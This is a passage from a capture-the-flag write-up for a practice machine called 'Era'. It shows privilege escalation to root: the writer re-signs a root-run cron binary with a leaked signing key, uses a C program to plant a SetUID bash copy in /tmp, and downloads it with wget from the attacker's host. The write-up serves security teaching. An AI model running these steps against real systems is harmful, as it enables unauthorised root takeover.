-rw-r--r-- 1 eric eric 3771 Jan  6  2022 .bashrc
drwx------ 2 eric eric 4096 Sep 17  2024 .cache
drwxrwxr-x 3 eric eric 4096 Jul 22 08:42 .local
drwx------ 2 eric eric 4096 Sep 17  2024 .ssh
-rw-r----- 1 root eric   33 Aug 31  2024 user.txt

As is yuri’s:

eric@era:~$ su - yuri
Password: 
$ ls -la
total 20
drwxr-x--- 2 yuri yuri 4096 Jul 22 08:41 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root    9 Jul  2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 yuri yuri  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 yuri yuri 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 yuri yuri  807 Jan  6  2022 .profile

Neither user has any sudo privilege:

eric@era:~$ sudo -l
[sudo] password for eric: 
Sorry, user eric may not run sudo on era.
eric@era:~$ su - yuri
Password: 
$ sudo -l
[sudo] password for yuri: 
Sorry, user yuri may not run sudo on era.

They are the only two users with home directories in /home:

eric@era:/home$ ls
eric  yuri

And the only users besides root with shells set:

eric@era:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh

eric is in the devs group:

eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

Filesystem

In /opt, there’s a ELF binary named monitor:

eric@era:/opt/AV/periodic-checks$ ls
monitor  status.log
eric@era:/opt/AV/periodic-checks$ file monitor 
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped

Interestingly, the modified times on both files seems to update every minute, implying a cron:

eric@era:/opt/AV/periodic-checks$ ls -l
total 24
-rwxrw---- 1 root devs 16544 Jul 28 18:41 monitor
-rw-rw---- 1 root devs   307 Jul 28 18:41 status.log

The devs group can write both these files and this directory:

eric@era:/opt/AV/periodic-checks$ ls -la   
total 32
drwxrwxr-- 2 root devs  4096 Jul 28 18:42 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 28 18:42 monitor
-rw-rw---- 1 root devs   103 Jul 28 18:42 status.log

Processes

I’ll upload pspy to Era and watch for processes:

eric@era:/dev/shm$ wget 10.10.14.6/pspy64
--2025-07-28 18:44:27--  http://10.10.14.6/pspy64
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  4.32MB/s    in 0.7s    

2025-07-28 18:44:28 (4.32 MB/s) - ‘pspy64’ saved [3104768/3104768]
eric@era:/dev/shm$ chmod +x pspy64 
eric@era:/dev/shm$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...

Every minute, there’s a cron:

2025/07/28 21:31:01 CMD: UID=0     PID=71190  | /usr/sbin/CRON -f -P
2025/07/28 21:31:01 CMD: UID=0     PID=71191  | /usr/sbin/CRON -f -P
2025/07/28 21:31:01 CMD: UID=0     PID=71192  | bash -c /root/initiate_monitoring.sh 
2025/07/28 21:31:01 CMD: UID=0     PID=71193  | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor 
2025/07/28 21:31:01 CMD: UID=0     PID=71194  | /bin/bash /root/initiate_monitoring.sh 
2025/07/28 21:31:01 CMD: UID=0     PID=71195  | /bin/bash /root/initiate_monitoring.sh 
2025/07/28 21:31:01 CMD: UID=0     PID=71198  | grep -oP (?<=UTF8STRING        :)Era Inc. 
2025/07/28 21:31:01 CMD: UID=0     PID=71196  | /bin/bash /root/initiate_monitoring.sh 
2025/07/28 21:31:01 CMD: UID=0     PID=71201  | 
2025/07/28 21:31:01 CMD: UID=0     PID=71200  | /bin/bash /root/initiate_monitoring.sh 
2025/07/28 21:31:01 CMD: UID=0     PID=71199  | /bin/bash /root/initiate_monitoring.sh 
2025/07/28 21:31:01 CMD: UID=0     PID=71202  | /bin/bash /root/initiate_monitoring.sh 

It’s running initiate_monitoring.sh that I can’t see, which seems to call objcopy on monitor, and then run a grep before then calling monitor.

monitor Signature

objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor is generating a copy of the .text_sig section of the ELF binary.

That section is not a standard section, but it does exist:

eric@era:/opt/AV/periodic-checks$ readelf -S monitor | grep text_sig
  [28] .text_sig         PROGBITS         0000000000000000  00003040

I can run the command from the cron and look at the output:

eric@era:/opt/AV/periodic-checks$ objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
eric@era:/opt/AV/periodic-checks$ xxd text_sig_section.bin
00000000: 3082 01c6 0609 2a86 4886 f70d 0107 02a0  0.....*.H.......
00000010: 8201 b730 8201 b302 0101 310d 300b 0609  ...0......1.0...
00000020: 6086 4801 6503 0402 0130 0b06 092a 8648  `.H.e....0...*.H
00000030: 86f7 0d01 0701 3182 0190 3082 018c 0201  ......1...0.....
00000040: 0130 6730 4f31 1130 0f06 0355 040a 0c08  .0g0O1.0...U....
00000050: 4572 6120 496e 632e 3119 3017 0603 5504  Era Inc.1.0...U.
00000060: 030c 1045 4c46 2076 6572 6966 6963 6174  ...ELF verificat
00000070: 696f 6e31 1f30 1d06 092a 8648 86f7 0d01  ion1.0...*.H....
00000080: 0901 1610 7975 7269 7669 6368 4065 7261  ....yurivich@era
00000090: 2e63 6f6d 0214 6d63 4aa9 81e1 93a1 e448  .com..mcJ......H
000000a0: c520 5ff7 9b84 e6b6 f50b 300b 0609 6086  . _.......0...`.
000000b0: 4801 6503 0402 0130 0d06 092a 8648 86f7  H.e....0...*.H..
000000c0: 0d01 0101 0500 0482 0100 6a8d 5090 e77a  ..........j.P..z
000000d0: a224 31d3 e629 241a c7ee c906 dce8 7592  .$1..)$.......u.
000000e0: c907 33b8 5ea5 c466 db04 a35a 2864 8853  ..3.^..f...Z(d.S
000000f0: 00f2 775c fbe9 83ae 833d 2c36 7030 985a  ..w\.....=,6p0.Z
00000100: b5d9 ae28 cfbf 75db 8e40 2955 c9be f8d3  ...(..u..@)U....
00000110: 058e 6ee1 1eb4 35bb 30a3 056d b850 74bc  ..n...5.0..m.Pt.
00000120: 4e15 fc44 0a57 e3f6 2f4b 5ecd 0e6b 222d  N..D.W../K^..k"-
00000130: c403 9189 2c7d ed05 fe45 a3e9 c00f 0610  ....,}...E......
00000140: f8a6 53ab f725 71aa cbf2 ff38 2386 58d0  ..S..%q....8#.X.
00000150: 8dcf ba33 1c6d 2092 8c01 c77d 4e49 ea94  ...3.m ....}NI..
00000160: 670c 9de9 4277 9e09 6714 3d81 4920 9fc1  g...Bw..g.=.I ..
00000170: 2400 5880 04c7 cebf d398 ec6d 55b5 0333  $.X........mU..3
00000180: db46 f2ab 74e6 aa24 e9dc 76d2 c9c4 183b  .F..t..$..v....;
00000190: 991b c0f4 762b 1c09 1d82 317c aab3 1e88  ....v+....1|....
000001a0: dfc0 4871 2bb9 ac8a 0dbb 6cd7 cd6b dcaa  ..Hq+.....l..k..
000001b0: c96c 2afe faa1 7944 ebdd 7a6e 6f2e 91da  .l*...yD..zno...
000001c0: 5e41 e0e6 5dde ec93 47ee                 ^A..]...G.

This is a PKCS#7/CMS digital signature. Claude can identify this for me:

image-20250728180621381

Exploit

Signature Fail

The binary is being run as root every minute, and it’s writable by eric. I’ll try replacing it with a simple Bash script that will create a SetUID/SetGID bash instance:

eric@era:/opt/AV/periodic-checks$ rm monitor ; echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' > monitor; chmod +x monitor 

Unfortunately, once the cron runs again, the log shows it failed:

eric@era:/opt/AV/periodic-checks$ cat status.log 

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.

linux-elf-binary-signer

Searching for “.text_sig section elf”, the first result is a GitHub repo named linux-elf-binary-signer:

image-20250728181256597

The ELF binary format doesn’t have a built in signature, but this project adds this custom section to a compiled binary:

image-20250728181954403

There’s a section on generating keys as well, using a .genkey file:

image-20250728182207873

signing.zip

Earlier I collected signing.zip from the IDOR file download, which has two files. x509.genkey is a text file that matches the example from the linux-elf-binary-signer instructions:

[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

These match up with a lot of the strings from the hexdump above. key.pem is a private key:

oxdf@hacky$ file key.pem 
key.pem: OpenSSH private key (no password)

Create Binary

I’ll create a simple binary that creates a SetUID/SetGID bash:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf");
}

I’ll compile this with gcc exploit.c -o exploit.

Sign

I find I am not able to build linux-elf-binary-signer on Ubuntu 24.04 because of the library mismatch. I’ll create a docker container:

oxdf@hacky$ docker run -it --rm -v $(pwd):/work ubuntu:20.04 bash
root@e35c45a86cff:/#

I’ll install all the needed stuff:

root@e35c45a86cff:/# apt update
...[snip]...
root@e35c45a86cff:/# apt upgrade
...[snip]...
root@e35c45a86cff:/# apt install make libssl-dev openssl git gcc
...[snip]...
root@e35c45a86cff:/# git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
...[snip]...

And build it:

root@e35c45a86cff:/linux-elf-binary-signer# make CFLAGS="-static" LDFLAGS="-static"
cc -o elf-sign elf_sign.c -lcrypto
./elf-sign.signed sha256 certs/kernel_key.pem certs/kernel_key.pem elf-sign
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 31 sections detected.
 --- [Library dependency]: libcrypto.so.1.1
 --- [Library dependency]: libc.so.6
 --- Section 0016 [.text] detected.
 --- Length of section [.text]: 10195
 --- Signature size of [.text]: 465
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

My original docker command mapped the current directory into /work in the container. From there, I’ll sign:

root@e35c45a86cff:/work# /linux-elf-binary-signer/elf-sign sha256 key.pem key.pem exploit monitor
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 31 sections detected.
 --- [Library dependency]: libc.so.6
 --- Section 0016 [.text] detected.
 --- Length of section [.text]: 303
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

This signs the exploit binary and outputs it as monitor.

Upload

I’ll host the monitor binary from a Python webserver, and back in my reverse shell, I’ll fetch it and make it executable:

eric@era:/opt/AV/periodic-checks$ wget 10.10.14.6/monitor
--2025-07-29 00:54:32--  http://10.10.14.6/monitor
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16674 (16K) [application/octet-stream]
Saving to: ‘monitor’

monitor                                                  0%[                                                                           monitor                                                100%[=============================================>]  16.28K  --.-KB/s    in 0.09s   
2025-07-29 00:54:32 (177 KB/s) - ‘monitor’ saved [16674/16674]
eric@era:/opt/AV/periodic-checks$ chmod +x monitor

The next time the cron runs, /tmp/0xdf exists, owned by root, and is SetUID/SetGID:

eric@era:/opt/AV/periodic-checks$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1396520 Jul 29 00:59 /tmp/0xdf

I’ll get a shell:

eric@era:/opt/AV/periodic-checks$ /tmp/0xdf -p    
0xdf-5.1#

And grab root.txt:

0xdf-5.1# cat root.txt
88bb08a3************************